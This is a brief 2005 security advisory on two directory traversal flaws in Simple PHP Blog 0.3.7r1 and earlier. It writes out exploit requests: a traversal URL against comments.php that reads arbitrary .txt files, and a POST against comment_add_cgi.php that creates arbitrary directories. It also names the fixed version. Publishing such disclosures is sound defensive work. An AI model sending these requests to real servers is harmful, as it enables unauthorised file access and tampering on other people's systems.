Tuesday, January 11, 2005
Simple PHP Blog Directory Traversal
Summary
Simple PHP Blog requires "no database to create a blog system but instead only requires PHP 4 (or greater) and write permission on the server".Two vulnerabilities in Simple PHP Blog are caused by inadequate testing for directory traversal attacks allow a remote attacker to view arbitrary files and create arbitrary directories.
Credit: The information has been provided by Madelman.
Details
Vulnerable Systems: * Simple PHP Blog version 0.3.7r1 and prior
Immune Systems: * Simple PHP Blog version 0.3.7r2 or newer
We can read any file with TXT extension (in this example /etc/X11/rgb.txt)
Request: http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb
Returns the content of the file
We can create arbitrary folders in the file system and the content of the post will be saved in this folder. To create folder http://[SERVER]/sphpblog/createdir/
Request (this must be a POST request and we must modify entry parameter):http://[SERVER]/sphpblog/comment_add_cgi.php~ entry=../../../createdir
Source: Securiteam